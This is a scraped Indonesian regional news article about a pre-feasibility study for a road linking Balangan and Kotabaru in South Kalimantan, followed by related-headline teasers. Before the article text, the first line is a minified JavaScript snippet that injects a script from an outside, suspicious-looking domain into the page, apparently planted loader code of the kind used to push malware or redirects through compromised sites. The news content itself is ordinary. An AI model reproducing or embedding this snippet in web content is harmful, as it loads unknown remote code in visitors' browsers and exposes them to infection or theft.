(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Badan Perencanaan Pembangunan Daerah, Peneliatian dan Pengembangan (Bappedalitbang) Kabupaten Balangan gelar rapat Ekspose Akhir Kajian Pra Studi Kelayakan Jalan Balangan–Kotabaru di Aula 3 Bappedalitbang Balangan, Paringin Selatan, Senin (12/12/22).
Berkerja sama Balitbangda Provinsi Kalimantan Selatan, kajian pra studi dilatarbelakangi oleh upaya Pemkab Balangan untuk meningkatkan konektivitas wilayah dengan pembangunan jaringan jalan sebagai urat nadi perekonomian.
Kepala Bappedalitbang Balangan Rakhmadi Yusni menyapaikan terkait hasil ekspose terakhir kelayakan jalan Balangan-Kotabaru secara umum rekomendasinya sangat layak untuk dikembangkan.
“Ini adalah ekspose terakhir kelayakan jalan Balangan-Kotabaru dimana tim peneliti dari Balitbangda Provinsi Kalsel melakukan ekspose akhir dan sudah dikaji melalui beberapa aspek secara umum yang rekomendasinya sangat layak untuk dikembangkan,” ujar Rakhmadi Yusni.
Baca juga : Capai 100 Juta Pelanggan, IOH Bawa Pengalaman Sepak Bola Kelas Dunia ke Indonesia
Meski demikian sambung Rakhmadi, terdapat pula kendala yaitu regulasi terkait dengan lahan hutan lindung.
Ia berharap, kajian ini dapat ditindaklanjuti dan segera terealisasi, karena pelaksanaannya sesuai dengan visi misi Bupati Balangan terkait membuka interkonektivitas.
Sementara itu, Koordinator Tenaga Ahli Balitbangda Provinsi Kalsel M Arief Anwar juga mengungkapkan suara senada, bahwa dilihat dari berbagai aspek, studi ini layak dilanjutkan.
“Kita sudah melakukan dari berbagai aspek baik dari sisi hukum, kelembagaan, teknis, sisi sosial masyarakat, sisi ekonomi dan sisi aspek lingkungan. Secara keseluruhan, hasilnya layak untuk dilanjutkan,” ungkap Arief.
Baca juga : KPU Lamandau Uji Publik Dapil dan Alokasi Kursi DPRD Kabupaten
Terakhir, disampaikan oleh Peneliti Ahli Pengembangan Wilayah Balangan, Diah Nugrahini juga menyampaikan terkait hasil jarak yang diperoleh melalui GPS Savior, dapat dilihat adanya percepatan jarak tempuh antara Balangan dan Kotabaru.
“Jadi untuk jarak tersebut diperoleh dari hasil GPS Savior, untuk wilayah Balangan adalah Desa Mamigang, melalui Sawang kemudian Singsingan itu masih masuk wilayah Balangan. Selanjutnya Wayuanin, kemudian melalui dua anak sungai sampai di Km 41 Batuah, Kotabaru, dan sudah masuk di jalan raya. Dengan adanya percepatan jarak tempuh, ini tentu dapat meningkatkan perekonomian dua wilayah,” papar Diah.
Dari hasil ekspose tersebut, untuk jalan di wilayah Balangan sepanjang 14,3 Km, kemudian wilayah Kotabaru sekitar 18 Km. Jadi, dari Kabupaten Balangan menuju Kabupaten Kotabaru hanya menempuh jarak sekitar 32 km.(Kanalkalimantan.com/alfi)
Reporter : alfi
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.